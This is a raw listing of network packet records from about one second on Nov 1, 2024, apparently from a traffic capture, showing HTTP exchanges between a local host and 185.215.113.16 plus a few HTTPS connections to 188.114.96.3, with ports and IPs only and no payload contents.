Nov 1, 2024 05:02:21.603267908 CET	80	59845	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:21.603279114 CET	80	59845	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:21.603331089 CET	59845	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:21.603358030 CET	59845	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:21.603378057 CET	80	59845	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:21.603390932 CET	80	59845	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:21.603420973 CET	59845	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:21.603436947 CET	59845	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:21.630111933 CET	80	59845	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:21.630183935 CET	80	59845	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:21.630188942 CET	59845	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:21.630196095 CET	80	59845	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:21.630219936 CET	59845	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:21.630234957 CET	59845	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:21.630331993 CET	80	59845	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:21.630374908 CET	59845	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:21.630376101 CET	80	59845	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:21.630436897 CET	59845	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:21.630503893 CET	80	59845	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:21.630516052 CET	80	59845	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:21.630527020 CET	80	59845	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:21.630542994 CET	59845	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:21.630556107 CET	59845	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:21.630573988 CET	59845	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:21.631194115 CET	80	59845	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:21.631241083 CET	80	59845	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:21.631366968 CET	59845	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:21.631369114 CET	80	59845	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:21.631408930 CET	59845	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:21.631566048 CET	80	59845	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:21.631614923 CET	59845	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:21.631728888 CET	80	59845	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:21.631771088 CET	59845	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:21.632642031 CET	80	59845	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:21.632653952 CET	80	59845	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:21.632666111 CET	80	59845	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:21.632677078 CET	80	59845	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:21.632688999 CET	80	59845	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:21.632694006 CET	59845	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:21.632700920 CET	80	59845	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:21.632711887 CET	80	59845	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:21.632724047 CET	80	59845	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:21.632731915 CET	59845	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:21.632735968 CET	80	59845	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:21.632750034 CET	59845	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:21.632750034 CET	80	59845	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:21.632767916 CET	59845	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:21.632796049 CET	59845	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:21.673551083 CET	80	59845	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:21.673608065 CET	80	59845	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:21.673619986 CET	80	59845	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:21.673712969 CET	59845	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:21.673773050 CET	59845	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:21.677650928 CET	80	59845	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:21.677661896 CET	80	59845	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:21.677671909 CET	80	59845	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:21.677733898 CET	59845	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:21.677771091 CET	80	59845	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:21.677783966 CET	80	59845	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:21.677809000 CET	59845	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:21.677839041 CET	59845	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:21.677846909 CET	80	59845	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:21.677886963 CET	59845	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:21.678036928 CET	80	59845	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:21.678077936 CET	59845	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:21.678088903 CET	80	59845	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:21.678128958 CET	59845	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:21.720339060 CET	80	59845	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:21.720371962 CET	80	59845	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:21.720410109 CET	80	59845	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:21.720418930 CET	59845	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:21.720439911 CET	59845	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:21.720454931 CET	59845	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:21.720464945 CET	80	59845	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:21.720546007 CET	59845	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:21.720573902 CET	80	59845	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:21.720588923 CET	80	59845	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:21.720633030 CET	59845	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:21.747140884 CET	80	59845	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:21.747194052 CET	59845	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:21.747210026 CET	80	59845	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:21.747220993 CET	80	59845	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:21.747248888 CET	59845	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:21.747261047 CET	59845	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:21.747323990 CET	80	59845	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:21.747360945 CET	59845	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:21.747414112 CET	80	59845	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:21.747425079 CET	80	59845	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:21.747473001 CET	59845	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:21.747529984 CET	80	59845	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:21.747565985 CET	59845	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:21.747627974 CET	80	59845	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:21.747644901 CET	80	59845	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:21.747669935 CET	59845	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:21.747680902 CET	59845	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:21.748341084 CET	80	59845	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:21.748352051 CET	80	59845	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:21.748383045 CET	59845	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:21.748389006 CET	80	59845	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:21.748404980 CET	59845	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:21.748411894 CET	80	59845	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:21.748421907 CET	59845	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:21.748445988 CET	59845	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:21.748626947 CET	80	59845	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:21.748671055 CET	59845	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:21.748681068 CET	80	59845	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:21.748691082 CET	80	59845	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:21.748716116 CET	59845	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:21.748728037 CET	59845	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:21.748739958 CET	80	59845	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:21.748780012 CET	59845	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:21.748788118 CET	80	59845	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:21.748826981 CET	59845	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:21.748857975 CET	80	59845	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:21.748869896 CET	80	59845	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:21.748909950 CET	59845	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:21.748924017 CET	59845	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:21.749038935 CET	80	59845	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:21.749087095 CET	59845	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:21.749105930 CET	80	59845	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:21.749116898 CET	80	59845	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:21.749150991 CET	59845	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:21.749164104 CET	59845	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:21.749289989 CET	80	59845	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:21.749341011 CET	59845	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:21.749345064 CET	80	59845	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:21.749356985 CET	80	59845	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:21.749382019 CET	59845	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:21.749392986 CET	59845	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:21.790587902 CET	80	59845	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:21.790612936 CET	80	59845	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:21.790628910 CET	80	59845	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:21.790647984 CET	59845	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:21.790673971 CET	59845	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:21.790718079 CET	80	59845	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:21.790729046 CET	80	59845	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:21.790754080 CET	59845	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:21.790775061 CET	59845	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:21.794711113 CET	80	59845	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:21.794756889 CET	80	59845	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:21.794768095 CET	80	59845	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:21.794773102 CET	59845	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:21.794790983 CET	59845	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:21.794810057 CET	59845	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:21.794888020 CET	80	59845	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:21.794899940 CET	80	59845	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:21.794935942 CET	59845	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:21.795010090 CET	80	59845	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:21.795048952 CET	59845	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:21.845211029 CET	80	59845	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:21.845223904 CET	80	59845	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:21.845235109 CET	80	59845	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:21.845302105 CET	59845	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:21.845345974 CET	80	59845	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:21.845349073 CET	59845	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:21.845356941 CET	80	59845	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:21.845370054 CET	80	59845	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:21.845386028 CET	59845	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:21.845402002 CET	59845	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:21.864253044 CET	80	59845	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:21.864319086 CET	80	59845	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:21.864331961 CET	80	59845	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:21.864454985 CET	80	59845	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:21.864466906 CET	80	59845	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:21.864469051 CET	59845	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:21.864495039 CET	59845	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:21.864531994 CET	59845	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:21.864578962 CET	80	59845	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:21.864595890 CET	80	59845	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:21.864607096 CET	80	59845	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:21.864614964 CET	59845	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:21.864630938 CET	59845	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:21.864656925 CET	59845	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:21.869364977 CET	80	59845	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:21.869400978 CET	80	59845	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:21.869411945 CET	80	59845	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:21.869421959 CET	59845	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:21.869438887 CET	59845	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:21.869458914 CET	59845	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:21.869623899 CET	80	59845	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:21.869635105 CET	80	59845	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:21.869647026 CET	80	59845	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:21.869658947 CET	80	59845	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:21.869671106 CET	59845	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:21.869707108 CET	59845	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:21.869949102 CET	80	59845	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:21.869961023 CET	80	59845	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:21.869971991 CET	80	59845	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:21.870013952 CET	59845	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:21.870027065 CET	59845	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:21.870165110 CET	80	59845	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:21.870176077 CET	80	59845	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:21.870215893 CET	59845	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:21.870371103 CET	443	59847	188.114.96.3	192.168.2.5
Nov 1, 2024 05:02:21.870450020 CET	443	59847	188.114.96.3	192.168.2.5
Nov 1, 2024 05:02:21.870496035 CET	59847	443	192.168.2.5	188.114.96.3
Nov 1, 2024 05:02:21.870671988 CET	59847	443	192.168.2.5	188.114.96.3
Nov 1, 2024 05:02:21.870681047 CET	443	59847	188.114.96.3	192.168.2.5
Nov 1, 2024 05:02:21.907438040 CET	80	59845	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:21.907491922 CET	59845	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:21.907494068 CET	80	59845	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:21.907505989 CET	80	59845	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:21.907536030 CET	59845	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:21.907548904 CET	59845	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:21.907634974 CET	80	59845	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:21.907681942 CET	59845	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:21.907690048 CET	80	59845	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:21.907733917 CET	59845	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:21.907742023 CET	80	59845	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:21.907803059 CET	59845	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:21.911756992 CET	80	59845	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:21.911809921 CET	59845	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:21.911853075 CET	80	59845	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:21.911864042 CET	80	59845	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:21.911896944 CET	59845	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:21.911943913 CET	80	59845	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:21.911955118 CET	80	59845	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:21.911988974 CET	59845	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:21.912058115 CET	80	59845	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:21.912098885 CET	59845	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:21.955209017 CET	80	59845	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:21.955275059 CET	59845	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:21.955305099 CET	80	59845	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:21.955308914 CET	80	59845	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:21.955384970 CET	59845	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:21.955384970 CET	59845	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:21.955389977 CET	80	59845	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:21.955424070 CET	59845	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:21.955463886 CET	80	59845	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:21.955502987 CET	59845	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:21.955585003 CET	80	59845	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:21.955596924 CET	80	59845	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:21.955607891 CET	80	59845	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:21.955632925 CET	59845	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:21.955672026 CET	59845	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:21.981317997 CET	80	59845	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:21.981367111 CET	80	59845	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:21.981379032 CET	80	59845	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:21.981379986 CET	59845	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:21.981410027 CET	59845	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:21.981440067 CET	59845	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:21.981461048 CET	80	59845	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:21.981473923 CET	80	59845	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:21.981502056 CET	59845	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:21.981513977 CET	59845	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:21.981575012 CET	80	59845	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:21.981612921 CET	59845	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:21.981664896 CET	80	59845	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:21.981714010 CET	59845	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:21.981725931 CET	80	59845	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:21.981739044 CET	80	59845	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:21.981772900 CET	59845	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:21.981789112 CET	59845	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:21.986313105 CET	80	59845	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:21.986341000 CET	80	59845	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:21.986381054 CET	59845	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:21.986392021 CET	59845	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:21.986397982 CET	80	59845	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:21.986437082 CET	80	59845	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:21.986440897 CET	59845	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:21.986478090 CET	59845	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:21.986510038 CET	80	59845	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:21.986560106 CET	59845	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:21.986571074 CET	80	59845	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:21.986609936 CET	59845	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:21.986635923 CET	80	59845	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:21.986677885 CET	59845	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:21.986710072 CET	80	59845	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:21.986721039 CET	80	59845	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:21.986751080 CET	59845	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:21.986773968 CET	59845	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:21.986825943 CET	80	59845	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:21.986869097 CET	59845	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:21.986968040 CET	80	59845	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:21.986991882 CET	80	59845	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:21.987013102 CET	59845	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:21.987023115 CET	59845	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:21.987077951 CET	80	59845	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:21.987112999 CET	59845	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:21.987133026 CET	80	59845	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:21.987143993 CET	80	59845	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:21.987184048 CET	59845	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:22.008615971 CET	59848	443	192.168.2.5	188.114.96.3
Nov 1, 2024 05:02:22.008677959 CET	443	59848	188.114.96.3	192.168.2.5
Nov 1, 2024 05:02:22.008763075 CET	59848	443	192.168.2.5	188.114.96.3
Nov 1, 2024 05:02:22.009119034 CET	59848	443	192.168.2.5	188.114.96.3
Nov 1, 2024 05:02:22.009149075 CET	443	59848	188.114.96.3	192.168.2.5
Nov 1, 2024 05:02:22.024411917 CET	80	59845	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:22.024466991 CET	80	59845	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:22.024477005 CET	80	59845	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:22.024490118 CET	59845	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:22.024497986 CET	80	59845	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:22.024518967 CET	59845	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:22.024527073 CET	59845	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:22.024573088 CET	80	59845	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:22.024633884 CET	80	59845	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:22.024652004 CET	80	59845	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:22.024657011 CET	59845	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:22.024740934 CET	59845	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:22.024740934 CET	59845	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:22.029042959 CET	80	59845	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:22.029087067 CET	80	59845	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:22.029098034 CET	80	59845	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:22.029123068 CET	59845	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:22.029139996 CET	59845	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:22.029268026 CET	80	59845	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:22.029280901 CET	80	59845	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:22.029290915 CET	80	59845	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:22.029303074 CET	80	59845	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:22.029310942 CET	59845	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:22.029326916 CET	59845	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:22.029355049 CET	59845	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:22.029467106 CET	80	59845	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:22.029540062 CET	59845	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:22.072345018 CET	80	59845	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:22.072403908 CET	80	59845	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:22.072413921 CET	80	59845	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:22.072474957 CET	59845	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:22.072508097 CET	59845	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:22.072534084 CET	80	59845	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:22.072545052 CET	80	59845	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:22.072556973 CET	80	59845	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:22.072568893 CET	59845	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:22.072597027 CET	59845	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:22.072756052 CET	80	59845	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:22.072797060 CET	59845	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:22.098361015 CET	80	59845	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:22.098396063 CET	80	59845	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:22.098432064 CET	80	59845	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:22.098474026 CET	59845	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:22.098488092 CET	59845	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:22.098493099 CET	80	59845	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:22.098536968 CET	59845	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:22.098587990 CET	80	59845	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:22.098599911 CET	80	59845	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:22.098648071 CET	59845	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:22.098669052 CET	59845	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:22.098685026 CET	80	59845	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:22.098707914 CET	80	59845	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:22.098731041 CET	59845	80	192.168.2.5	185.215.113.16
